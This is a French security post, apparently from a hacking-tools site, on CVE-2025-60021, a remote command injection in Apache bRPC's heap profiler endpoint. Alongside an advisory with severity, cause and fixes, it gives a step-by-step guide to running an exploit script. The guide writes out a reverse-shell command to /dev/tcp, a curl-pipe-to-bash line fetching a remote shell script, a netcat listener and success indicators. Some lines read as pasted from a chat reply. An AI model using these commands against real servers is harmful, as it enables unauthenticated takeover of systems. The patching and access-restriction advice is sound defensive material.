❗Les attaquants peuvent injecter des commandes à distance en manipulant simplement ce paramètre de profilage.

🚨 Sévérité & Risque

🔥 Niveau de sévérité : Critique 📊 Score CVSS v3.1 de base : 9.8 / 10 Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 Cela signifie que les attaquants peuvent exécuter des commandes arbitraires à distance sans connexion — un scénario catastrophe pour les services exposés.

🧠 Analyse technique

🔍 Comment ça fonctionne

1. Exposition du profilage du tas : bRPC expose un point d'accès de profilage (/pprof/heap) destiné à l'analyse mémoire (jemalloc). (openwall.com)
2. Bogue de traitement des entrées : Le point d'accès accepte un paramètre extra_options. Au lieu de l'assainir, bRPC le transmet directement au shell OS. (openwall.com)
3. Injection de commandes : Un acteur malveillant crée une entrée incluant des commandes système → le service les exécute. (CVE Details)

Guide pas à pas pour utiliser le script PoC CVE-2025-60021

Ceci suppose que vous avez enregistré le script sous le nom CVE-2025-60021.py (même si la vraie CVE est 2025-60021 — n'hésitez pas à le renommer). C'est un script Python 3 pour démontrer la vulnérabilité d'injection de commandes à distance dans le profileur de tas d'Apache bRPC. Exécutez-le uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite explicite — l'exploitation sans autorisation est illégale.

Prérequis

1. Environnement Python : Assurez-vous d'avoir Python 3 installé (par ex., 3.6+). Le script utilise des modules intégrés plus requests et argparse (qui sont standards ou faciles à installer).

2. Installer les dépendances : Si ce n'est pas déjà fait, installez la bibliothèque requests :

   root@kitploit:~

   pip install requests
   

3. Configuration de la cible : Vous avez besoin d'un serveur Apache bRPC vulnérable :

   • Version < 1.15.0.
   • Profileur de tas activé (vérifiez la configuration du serveur ; il est souvent activé par défaut dans les configurations de développement).
   • Accessible via le réseau (par ex., http://localhost:8060 ou une IP/port distants). Si vous testez localement, configurez une instance bRPC vulnérable (par ex., via Docker ou construction source — consultez la documentation d'Apache bRPC).

4. Permissions : Exécutez avec sudo uniquement si nécessaire pour l'accès réseau ou les privilèges ; sinon, un simple python3 suffit.

Étape 1 : Enregistrer le script

Copiez le code PoC que j'ai fourni précédemment dans un fichier nommé CVE-2025-60021.py. Rendez-le exécutable si vous le souhaitez :

Étape 2 : Comprendre les arguments

Le script prend deux arguments positionnels obligatoires :

• target : L'URL du serveur bRPC vulnérable (par ex., http://192.168.1.100:8060 ou http://targets:8060 — corrigez les éventuelles fautes de frappe comme un schéma manquant ou un hôte invalide).
• cmd : La commande à exécuter sur la cible (par ex., "id" pour les informations utilisateur, ou quelque chose de plus complexe comme "curl http://votre-serveur/reverse-shell.sh | bash" pour un reverse shell). Utilisez && ou ; pour enchaîner plusieurs commandes.

Étape 3 : Exécuter le script

Ouvrez un terminal (par ex., sur Kali Linux comme vous l'utilisez) et exécutez-le avec votre cible et votre commande. Exemples de commandes :

• Test de base (obtenir des informations système) :

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• Exemple de reverse shell (remplacez votre-ip-écouteur et le port ; configurez d'abord un écouteur comme nc -lvnp 4444) :

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/votre-ip-écouteur/4444 0>&1"
  

• Si vous utilisez HTTPS ou un port différent, ajustez l'URL en conséquence (par ex., https://target:443 — le script le gère, mais ajoutez --insecure en cas de problème de certificat).

Étape 4 : Interpréter la sortie

Indicateurs de succès :

• L'exploit a probablement réussi ! (200 OK)
• Sortie de commande possible dans le corps de la réponse (par ex., uid=0(root)... si id a été exécuté).
• Pour les commandes sans sortie (par ex., écriture de fichiers ou shells), vérifiez le serveur cible (logs, processus) ou votre écouteur.

Indicateurs d'échec (comme ce que vous avez vu) :

• Code d'état 404 obtenu — peut-être non vulnérable ?
• Messages d'erreur comme "[E1002] Heap profiler is not enabled" signifient que le point d'accès n'est pas actif — activez-le sur la cible ou trouvez une autre instance vulnérable.
• Timeouts ou erreurs de connexion : Cible injoignable, pare-feu bloquant, ou mauvais port.
• Si aucune sortie ne fuit, la commande s'exécute silencieusement sur le serveur.

Étape 5 : Résolution des problèmes courants

• Erreur 404 : Profileur de tas désactivé. Activez-le dans la configuration bRPC (par ex., --enable_heap_profiler=true) et redémarrez le serveur.
• Erreur argparse : Argument cmd oublié — incluez-le toujours.
• Pas de sortie dans le corps de la réponse : Certaines commandes ne produisent pas de stdout. Utilisez celles qui en produisent (par ex., echo "test" > /tmp/proof.txt) et vérifiez le fichier sur la cible.
• Privilèges : Si le processus bRPC s'exécute en tant que non-root, les commandes sont limitées aux permissions de cet utilisateur.
• Ajustements de la charge utile : Si ; ne fonctionne pas, essayez && ou | pour l'enchaînement. Encodez les caractères spéciaux dans l'URL si nécessaire (le script gère la plupart).
• Test local : Lancez un conteneur Docker vulnérable pour bRPC afin de vérifier sans risquer des systèmes réels.

Étape 6 : Nettoyage et notes éthiques

• Après les tests, corrigez la cible : Mettez à niveau vers bRPC 1.15.0+ ou désactivez /pprof/heap.
• Supprimez tout artefact (par ex., shells ou fichiers créés).
• Enregistrez vos tests pour la conformité si vous effectuez un pentest.

Si l'exploit a réussi sur une cible vulnérable (par ex., profileur de tas activé, bRPC <1.15.0 non corrigé), la sortie dans votre terminal ressemblerait à ceci (les détails exacts dépendent du stdout de la commande et de la configuration du serveur) :

Les signes clés : statut 200 OK, et si votre commande (comme id && whoami && uname -a) produit une sortie, elle pourrait apparaître dans le corps de la réponse (mélangée avec des données de profilage). Pour les commandes silencieuses (par ex., reverse shell), vérifiez le serveur cible ou votre écouteur pour une activité — pas de confirmation directe dans le terminal au-delà du 200. 😈

🛠 Atténuation & Correctifs

✅ Solution principale

• 👉 Mettez à niveau Apache bRPC vers la version 1.15.0 ou ultérieure. (NVD)

🧩 Correctif alternatif

• 🛠 Appliquez le correctif officiel manuellement depuis le dépôt GitHub d'Apache bRPC (Pull Request #3101). (openwall.com)

🔒 Protections supplémentaires

• Pare-feu / ACLs : Bloquez l'accès à /pprof/heap depuis des réseaux non fiables.
• Désactivez le profilage : Désactivez le profilage du tas là où il n'est pas nécessaire.
• Surveillez les logs : Surveillez toute activité inhabituelle du profileur.

💡 Pourquoi c'est dangereux

✔ Les attaquants n'ont pas besoin d'identifiants. ✔ Cela fonctionne sur le réseau. ✔ Cela affecte toutes les plateformes utilisant bRPC vulnérable. ✔ Cela peut conduire à une compromission complète du système.

Les entreprises utilisant bRPC pour des services critiques (par ex., recherche, stockage, pipelines d'apprentissage automatique) sont particulièrement exposées car cette faille transforme un outil de diagnostic en vecteur d'attaque. (Daily CyberSecurity)

🧾 Notes supplémentaires

⚠ EPSS (Exploit Prediction Scoring System) : Certaines sources indiquent une faible observation d'exploitation jusqu'à présent, mais la facilité d'exploitation signifie qu'elle pourrait être rapidement utilisée dans des attaques réelles. (Tenable®)

📌 Classification : CWE-77 — Mauvaise neutralisation des éléments spéciaux dans une commande (Injection de commande). (NVD)

📎 Références

• Entrée de vulnérabilité NIST/NVD pour CVE-2025-60021 (NVD)
• Détails de l'avis de sécurité Apache & Openwall (openwall.com)
• Analyse CVSS et métriques INCIBE-CERT (INCIBE)
• Aperçu des détails CVE (versions affectées et conseils de correction) (CVE Details)

Si vous exécutez Apache bRPC en production — corrigez immédiatement et restreignez l'accès aux points d'accès de diagnostic pour réduire les risques.